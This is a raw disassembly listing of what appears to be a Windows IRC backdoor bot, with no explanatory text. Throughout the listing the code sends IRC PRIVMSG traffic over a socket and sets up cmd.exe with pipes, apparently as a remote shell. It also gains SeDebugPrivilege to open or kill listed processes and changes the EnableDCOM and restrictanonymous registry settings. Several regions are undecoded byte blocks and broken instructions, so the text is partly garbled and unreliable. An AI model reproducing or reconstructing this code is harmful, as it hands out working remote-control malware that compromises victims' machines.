loc_419560:				; CODE XREF: sub_4194C0+62j
					; sub_4194C0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4195E4
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4195D1


loc_41956E:				; CODE XREF: sub_4194C0+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_4195AD
		push	dword ptr [edi]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41956E
		jmp	short loc_4195D1
; ---------------------------------------------------------------------------


loc_4195AD:				; CODE XREF: sub_4194C0+B6j
		push	offset unk_43BFB4
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 1Ch


loc_4195D1:				; CODE XREF: sub_4194C0+9Ej
					; sub_4194C0+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4195E4
		push	edi
		call	ds:dword_4CDC88
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4195E4:				; CODE XREF: sub_4194C0+A5j
					; sub_4194C0+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4194FF
		cmp	edi, esi
		jz	short loc_4195FC
		push	edi
		call	ds:dword_4CDC88


loc_4195FC:				; CODE XREF: sub_4194C0+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4194C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419636	proc near		; CODE XREF: sub_418C96+41p
					; sub_418E8B+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4196E8
		jz	loc_4196E1
		cmp	eax, 7Bh
		ja	short loc_4196AD
		jz	short loc_4196A3
		cmp	eax, 5
		jz	short loc_419699
		cmp	eax, 8
		jz	short loc_41968F
		cmp	eax, 32h
		jz	short loc_419685
		cmp	eax, 35h
		jz	short loc_41967B
		cmp	eax, 57h
		jnz	loc_419737
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_41967B:				; CODE XREF: sub_419636+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_419685:				; CODE XREF: sub_419636+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_41968F:				; CODE XREF: sub_419636+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_419699:				; CODE XREF: sub_419636+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_4196A3:				; CODE XREF: sub_419636+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_4196AD:				; CODE XREF: sub_419636+1Aj
		sub	eax, 7Ch
		jz	short loc_4196DA
		sub	eax, 7C8h
		jz	short loc_4196D3
		dec	eax
		jz	short loc_4196C9
		dec	eax
		jnz	short loc_419737
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_4196C9:				; CODE XREF: sub_419636+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419758
; ---------------------------------------------------------------------------


loc_4196D3:				; CODE XREF: sub_419636+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_4196DA:				; CODE XREF: sub_419636+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_4196E1:				; CODE XREF: sub_419636+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_4196E8:				; CODE XREF: sub_419636+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419721
		jz	short loc_41971A
		sub	eax, 8ADh
		jz	short loc_41974C
		dec	eax
		dec	eax
		jz	short loc_419713
		dec	eax
		jz	short loc_41970C
		dec	eax
		dec	eax
		jnz	short loc_419737
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_41970C:				; CODE XREF: sub_419636+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_419636+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_41971A:				; CODE XREF: sub_419636+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_419721:				; CODE XREF: sub_419636+B9j
		sub	eax, 8CAh
		jz	short loc_419753
		sub	eax, 17h
		jz	short loc_41974C
		sub	eax, 25h
		jz	short loc_419745
		sub	eax, 29h
		jz	short loc_41973E


loc_419737:				; CODE XREF: sub_419636+35j
					; sub_419636+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_41973E:				; CODE XREF: sub_419636+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_419745:				; CODE XREF: sub_419636+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_41974C:				; CODE XREF: sub_419636+C2j
					; sub_419636+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419758
; ---------------------------------------------------------------------------


loc_419753:				; CODE XREF: sub_419636+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419758:				; CODE XREF: sub_419636+40j
					; sub_419636+4Aj ...
		push	offset dword_4DD7D0
		call	sub_41BA76
		pop	ecx
		mov	eax, offset dword_4DD7D0
		pop	ecx
		retn
sub_419636	endp

; ---------------------------------------------------------------------------


loc_41976A:				; CODE XREF: seg000:004061D4p
		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41DA54
		add	esp, 0Ch
		lea	eax, [ebp+8]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp-108h]
		push	eax
		mov	[ebp+8], esi
		call	near ptr 0B10000h
		mov	ecx, 0FEF8858Dh
; ---------------------------------------------------------------------------
		dd 5056FFFFh, 0FCE8858Dh, 0E850FFFFh, 429Ch, 0F8E8858Dh
		dd 0E850FFFFh, 4273h, 310C483h,	858D50C0h, 0FFFFF8E8h
		dd 0E8858D50h, 6AFFFFFCh, 6A5000h, 0DC0815FFh, 0C085004Ch
		dd 0C8BE1475h, 68004DD5h, 43C324h, 2280E856h, 59590000h
		dd 8D8D29EBh, 0FFFFF8E8h, 0E88D8D51h, 51FFFFFCh, 0FE28E850h
		dd 0BE59FFFFh, 4DD5C8h,	0C2F86850h, 0E8560043h,	2256h
		dd 8B14C483h, 0C3C95EC6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419828	proc near		; CODE XREF: sub_416F7D+45p
					; sub_416F7D+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0B10000h
		adc	dl, [eax-1]
		adc	eax, offset dword_4CDBDC
		test	eax, eax
		jnz	short loc_419847
		leave
		retn
; ---------------------------------------------------------------------------


loc_419847:				; CODE XREF: sub_419828+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_4CDBB4	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419885
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_41986E
		or	[ebp+var_8], 2
		jmp	short loc_419872
; ---------------------------------------------------------------------------


loc_41986E:				; CODE XREF: sub_419828+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419872:				; CODE XREF: sub_419828+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_4CDC64	; AdjustTokenPrivileges
		mov	esi, eax


loc_419885:				; CODE XREF: sub_419828+32j
		push	[ebp+var_4]
		call	ds:dword_42806C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419828	endp

; ---------------------------------------------------------------------------


loc_419893:				; CODE XREF: seg000:0040933Ep
					; sub_419AB6+74p
		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_4CDC18, ebx
		lea	edi, [ebp-128h]
		mov	[ebp-12Ch], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp-34Ch]
		mov	[ebp-350h], ebx
		rep stosd
		jz	loc_419A82
		cmp	ds:dword_4CDBFC, ebx
		jz	loc_419A82
		cmp	ds:dword_4CDB0C, ebx
		jz	loc_419A82
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419828
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_4CDC18	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jz	loc_419A75
		lea	eax, [ebp-12Ch]
		mov	dword ptr [ebp-12Ch], 128h
		push	eax
		push	edi
		call	ds:dword_4CDBFC	; Process32First
		mov	esi, ds:dword_42806C
		test	eax, eax
		jz	loc_419A70
		lea	eax, [ebp-12Ch]
		push	eax
		push	edi
		call	ds:dword_4CDB0C	; Process32Next
		test	eax, eax
		jz	loc_419A70
		mov	ebx, ds:dword_428084


loc_419952:				; CODE XREF: seg000:00419A68j
		xor	edi, edi
		cmp	[ebp+18h], edi
		jz	short loc_4199AF


loc_419959:				; CODE XREF: seg000:00419976j
		push	ds:off_43C358[edi]
		lea	eax, [ebp-108h]
		push	eax
		call	ds:dword_428188	; lstrcmpi
		test	eax, eax
		jz	short loc_41997D
		add	edi, 4
		cmp	edi, 60h
		jb	short loc_419959
		jmp	loc_419A56
; ---------------------------------------------------------------------------


loc_41997D:				; CODE XREF: seg000:0041996Ej
		push	dword ptr [ebp-124h]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_419A56
		push	0
		push	edi
		call	near ptr 0B10000h
		mov	esp, 850FC085h
		scasd
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4199A7:				; CODE XREF: seg000:00419A3Cj
		push	edi
		call	esi	; CloseHandle
		jmp	loc_419A56
; ---------------------------------------------------------------------------


loc_4199AF:				; CODE XREF: seg000:00419957j
		cmp	[ebp+14h], edi
		jnz	loc_419A41
		cmp	[ebp+0Ch], edi
		jz	loc_419A56
		push	dword ptr [ebp-124h]
		push	8
		call	ds:dword_4CDC18	; CreateToolhelp32Snapshot
		cmp	dword ptr [ebp+1Ch], 0
		mov	edi, eax
		mov	dword ptr [ebp-350h], 224h
		jz	short loc_419A01
		lea	eax, [ebp-350h]
		push	eax
		push	edi
		call	ds:dword_4CDAB8	; Module32First
		push	dword ptr [ebp-124h]
		test	eax, eax
		jz	short loc_419A07
		lea	eax, [ebp-230h]
		jmp	short loc_419A0D
; ---------------------------------------------------------------------------


loc_419A01:				; CODE XREF: seg000:004199DFj
		push	dword ptr [ebp-124h]


loc_419A07:				; CODE XREF: seg000:004199F7j
		lea	eax, [ebp-108h]


loc_419A0D:				; CODE XREF: seg000:004199FFj
		push	eax
		lea	eax, [ebp-550h]
		push	offset dword_43C504
		push	eax
		call	sub_41BA76
		add	esp, 10h
		lea	eax, [ebp-550h]
		push	1
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409966
		add	esp, 14h
		jmp	loc_4199A7
; ---------------------------------------------------------------------------


loc_419A41:				; CODE XREF: seg000:004199B2j
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-108h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419A89


loc_419A56:				; CODE XREF: seg000:00419978j
					; seg000:00419990j ...
		lea	eax, [ebp-12Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4CDB0C	; Process32Next
		test	eax, eax
		jnz	loc_419952
		xor	ebx, ebx


loc_419A70:				; CODE XREF: seg000:00419930j
					; seg000:00419946j
		push	dword ptr [ebp-4]
		call	esi	; CloseHandle


loc_419A75:				; CODE XREF: seg000:0041990Aj
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419828
		pop	ecx
		pop	ecx


loc_419A82:				; CODE XREF: seg000:004198CDj
					; seg000:004198D9j ...
		xor	eax, eax


loc_419A84:				; CODE XREF: seg000:00419AB4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: seg000:00419A54j
		push	dword ptr [ebp-124h]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	dword ptr [ebp-4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	near ptr 0B10000h
		xchg	al, [ebp+570575C0h]
		call	esi	; CloseHandle
		jmp	short loc_419A82
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		jmp	short loc_419A84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AB6	proc near		; DATA XREF: seg000:00404187o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43C558
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41BA76
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419B15
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409966
		add	esp, 14h


loc_419B15:				; CODE XREF: sub_419AB6+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	loc_419893
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_419B43
		push	offset unk_43C534
		jmp	short loc_419B48
; ---------------------------------------------------------------------------


loc_419B43:				; CODE XREF: sub_419AB6+84j
		push	offset unk_43C510


loc_419B48:				; CODE XREF: sub_419AB6+8Bj
		push	eax
		call	sub_41BA76
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419B75
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409966
		add	esp, 14h


loc_419B75:				; CODE XREF: sub_419AB6+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4152AE
		push	[ebp+var_14]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		scasd
		pop	edi
		pop	esi
sub_419AB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419B94	proc far		; CODE XREF: seg000:004092DCp
					; sub_40B0AC+4Dp
		push	esi
		push	edi
		push	dword ptr [esp+0Ch]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	near ptr 0B10000h
		retf	0F08Bh
sub_419B94	endp

; ---------------------------------------------------------------------------
		dd 1674F685h, 0E856006Ah, 6F6448h, 75C08592h, 0FF335609h
		dd 806C15FFh, 0C78B0042h, 56C35E5Fh, 16AF633h, 56565656h
		dd 0FCB9E856h, 0C483FFFFh, 5035FF18h, 0FF0043C3h, 42806415h
		db 0, 0EBh, 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419BEB	proc near		; CODE XREF: seg000:00419CD1p
					; seg000:00419E3Bp
		mov	eax, ds:dword_4DDE3C
		push	esi
		mov	esi, ds:dword_42806C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419BFF
		push	eax
		call	esi	; CloseHandle


loc_419BFF:				; CODE XREF: sub_419BEB+Fj
		mov	eax, ds:dword_4DDE44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419C0C
		push	eax
		call	esi	; CloseHandle


loc_419C0C:				; CODE XREF: sub_419BEB+1Cj
		mov	eax, ds:dword_4DDE38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419C19
		push	eax
		call	esi	; CloseHandle


loc_419C19:				; CODE XREF: sub_419BEB+29j
		pop	esi
		retn
sub_419BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C1B	proc near		; CODE XREF: seg000:00409016p

var_17F68A40	= dword	ptr -17F68A40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B1D0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_4DDE40
		call	near ptr 0B10000h
		sbb	eax, [ebp+var_17F68A40]
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		xor	eax, eax
		inc	eax
		leave
		retn
sub_419C1B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43FDB4
		push	dword ptr [ebp+0Ch]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419C96
		push	7D0h
		call	ds:dword_428064	; Sleep
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41BA76
		add	esp, 10h
		jmp	short loc_419CAD
; ---------------------------------------------------------------------------


loc_419C96:				; CODE XREF: seg000:00419C6Dj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_419CAD:				; CODE XREF: seg000:00419C94j
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		test	eax, eax
		jg	short loc_419CD6
		call	sub_419BEB


loc_419CD6:				; CODE XREF: seg000:00419CCFj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DDE48
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_4DDE3C
		call	near ptr 0B10000h
		adc	al, [ebp-647BF040h]
; ---------------------------------------------------------------------------
		dw 0
		dd 0FC7D3900h, 458D2B75h, 35FF50F8h, 4DDE38h, 6F62C7E8h
		dd 0C0850A00h, 7D810D74h, 103F8h, 99850F00h, 6A000000h
		dd 6415FF0Ah, 0EB004280h, 39C0339Dh, 1076FC7Dh,	0F405BC80h
		dd 0AFFFFFDh, 3B405474h, 0F072FC45h, 56FC7589h,	0FDF4858Dh
		dd 5057FFFFh, 1A03E8h, 0CC48300h, 57F4458Dh, 0FC75FF50h
		dd 0FDF4858Dh, 0FF50FFFFh, 4DDE3C35h, 0E815FF00h, 85004280h
		dd 8D6D74C0h, 0FFFDF485h, 0FF5350FFh, 4DDE7C35h, 0FEA1E800h
		dd 0C483FFFFh, 0FF38E90Ch, 8940FFFFh, 0AFEBFC45h, 43C5E068h
		dd 35FF5300h, 4DDE7Ch, 0FFFE82E8h, 875FFFFh, 0FF14AEE8h
		dd 10C483FFh, 1DE8016Ah, 0E3006F62h, 0FFFE02E8h, 0C5B868FFh
		dd 0FF530043h, 4DDE7C35h, 0FE59E800h, 75FFFFFFh, 1485E808h
		dd 0C483FFFFh, 0F5E85710h, 34006F61h, 43C58868h, 35FF5300h
		dd 4DDE7Ch, 0FFFE36E8h,	875FFFFh, 0FF1462E8h, 10C483FFh
		dd 61D2E857h
		db 6Fh,	0, 12h
; ---------------------------------------------------------------------------


loc_419E2F:				; CODE XREF: seg000:00403F81p
		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419BEB
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_4CDCB0	; SearchPathA
		test	eax, eax
		jz	near ptr loc_419F24+5
		lea	eax, [ebp-1Ch]
		mov	edi, ds:dword_428100
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp-10h]
		inc	ebx
		push	eax
		mov	dword ptr [ebp-1Ch], 0Ch
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	near ptr loc_419F24+5
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	near ptr loc_419F24+5
		mov	edi, ds:dword_4280FC
		push	3
		push	esi
		push	esi
		push	offset dword_4DDE40
		call	edi	; GetCurrentProcess
		push	eax
		push	dword ptr [ebp-8]
		call	edi	; GetCurrentProcess
		push	eax
		call	near ptr 0B10000h
		cli
		test	eax, eax
		jz	short near ptr loc_419F24+5
		push	10h
		lea	eax, [ebp-2Ch]
		push	esi
		push	eax
		call	sub_41B780
		push	44h
		lea	eax, [ebp-74h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B780
		mov	eax, [ebp-4]
		add	esp, 18h
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-34h], eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-74h], edi
		push	eax
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43FDB4
		push	esi
		lea	eax, [ebp-178h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-48h], 101h
		mov	[ebp-44h], si
		call	near ptr 0B10000h


loc_419F24:				; CODE XREF: seg000:00419E5Ej
					; seg000:00419E8Bj ...
		jnz	near ptr 834A14EAh
		enter	0FFFFE9FFh, 0AEh
; ---------------------------------------------------------------------------
		dw 0
		dd 0FC75FF00h, 806C3D8Bh, 0D7FF0042h, 0FFF0458Bh, 3CA3D875h
		dd 8B004DDEh, 44A3F845h, 8B004DDEh, 38A3D445h, 0FF004DDEh
		dd 8458BD7h, 0A30C7539h, 4DDE7Ch, 75FF0574h, 5301EB0Ch
		dd 4DDE4868h, 1B00E800h, 59590000h, 680A6A56h, 43C644h
		dd 0FF0FECE8h, 8BF88BFFh, 0FF69DC4Dh, 234h, 890CC483h
		dd 440B408Fh, 0D04D8D00h, 68505651h, 419CDAh, 15FF5656h
		dd 42807Ch, 8789C63Bh, 440B4Ch,	15FF2775h, 42808Ch, 88858D50h
		dd 68FFFFFCh, 43C610h, 1AA8E850h, 858D0000h, 0FFFFFC88h
		dd 0B2D4E850h, 0C483FFFFh, 5FC03310h, 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FE4	proc near		; DATA XREF: seg000:0040490Eo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A02B
		call	sub_41A044
		jmp	short loc_41A030
; ---------------------------------------------------------------------------


loc_41A02B:				; CODE XREF: sub_419FE4+3Ej
		call	sub_41A36A


loc_41A030:				; CODE XREF: sub_419FE4+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B287
		pop	ecx
		push	0
		call	near ptr 0B10000h
		push	es
sub_419FE4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A044	proc near		; CODE XREF: sub_419FE4+40p
					; seg000:0041A68Ep

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_4CDCC4, edi
		jnz	loc_41A176
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4CDC68	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A0CF
		mov	ax, ds:word_43B390
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_4CDC1C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A0B7
		push	offset dword_43C8E4
		jmp	short loc_41A0BC
; ---------------------------------------------------------------------------


loc_41A0B7:				; CODE XREF: sub_41A044+6Aj
		push	offset dword_43C8C4


loc_41A0BC:				; CODE XREF: sub_41A044+71j
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		jmp	short loc_41A0E2
; ---------------------------------------------------------------------------


loc_41A0CF:				; CODE XREF: sub_41A044+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43C894
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A0E2:				; CODE XREF: sub_41A044+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A101
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A101:				; CODE XREF: sub_41A044+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4152AE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4CDC68	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A16F
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_4CDC1C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A157
		push	offset dword_43C844
		jmp	short loc_41A15C
; ---------------------------------------------------------------------------


loc_41A157:				; CODE XREF: sub_41A044+10Aj
		push	offset dword_43C810


loc_41A15C:				; CODE XREF: sub_41A044+111j
		push	eax
		call	sub_41BA76
